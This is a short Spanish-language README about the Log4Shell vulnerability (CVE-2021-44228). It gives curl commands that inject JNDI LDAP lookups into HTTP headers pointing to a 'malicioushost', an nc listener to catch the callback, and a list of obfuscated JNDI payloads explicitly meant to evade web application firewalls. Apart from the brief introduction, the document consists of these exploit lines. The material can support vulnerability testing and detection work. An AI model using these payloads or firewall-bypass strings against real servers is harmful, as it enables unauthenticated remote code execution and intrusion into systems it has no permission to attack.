log4j-CVE-2021-44228

El 5 de diciembre de 2021, Apache identificó una vulnerabilidad (identificada posteriormente como CVE-2021-44228) en su servicio de registro Log4j, ampliamente utilizado. La vulnerabilidad, también conocida como Log4shell, permite a los atacantes obtener el control total de los servidores afectados al permitir la ejecución remota de código sin autenticación si el usuario ejecuta una aplicación que utiliza la biblioteca de registro de Java. Log4j está fuertemente integrado en un amplio conjunto de frameworks de DevOps, sistemas de TI empresariales, software de proveedores y productos en la nube.

Ejecute lo siguiente en el host remoto malicioso para comprobar si su servidor es vulnerable al exploit de Log4j

curl vulnserver:port -H 'X-Api-Version: ${jndi:ldap://malicioushost:mport/a}'

nc -lnvp mport

Otras variaciones que implican una petición HTTP-POST pueden utilizarse para comprobar la vulnerabilidad

curl -H 'User-Agent: ${jndi:ldap://malicioushost:mport/a}' vulnserver:port

Para evadir el firewall de la aplicación web

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}